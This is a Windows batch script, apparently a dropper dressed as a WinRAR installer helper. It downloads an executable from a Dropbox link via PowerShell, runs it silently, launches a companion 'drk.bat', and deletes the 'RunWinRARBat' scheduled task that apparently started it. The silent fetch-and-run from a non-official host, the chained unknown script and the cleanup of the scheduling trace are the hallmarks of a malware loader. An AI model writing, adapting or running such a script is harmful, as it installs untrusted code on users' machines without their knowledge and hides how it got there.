@echo off rem --- Check if WinRAR is already installed --- if exist "C:\Program Files\WinRAR\WinRAR.exe" ( goto runDrkBat ) rem --- Download and Install WinRAR --- set "winrar_url=https://www.dropbox.com/scl/fi/a3ty73ze62hvosdqz0y81/winrar-x64-701.exe?rlkey=yzo6ali9vck5gnwz8nwb7xke3&st=rjkenpzz&dl=1" set "winrar_installer=C:\winrar-x64-701.exe" powershell -command "Invoke-WebRequest -Uri '%winrar_url%' -OutFile '%winrar_installer%'" rem --- Check if the download was successful --- if exist "%winrar_installer%" ( start /wait "" "%winrar_installer%" /S rem --- Check if WinRAR was installed successfully --- if exist "C:\Program Files\WinRAR\WinRAR.exe" ( goto runDrkBat ) else ( exit /b ) ) else ( exit /b ) :runDrkBat rem --- Run drk.bat if it exists in the same directory --- set "current_dir=%~dp0" if exist "%current_dir%drk.bat" ( start "" "%current_dir%drk.bat" ) rem --- Remove the Task Scheduler task after installation --- schtasks /delete /tn "RunWinRARBat" /f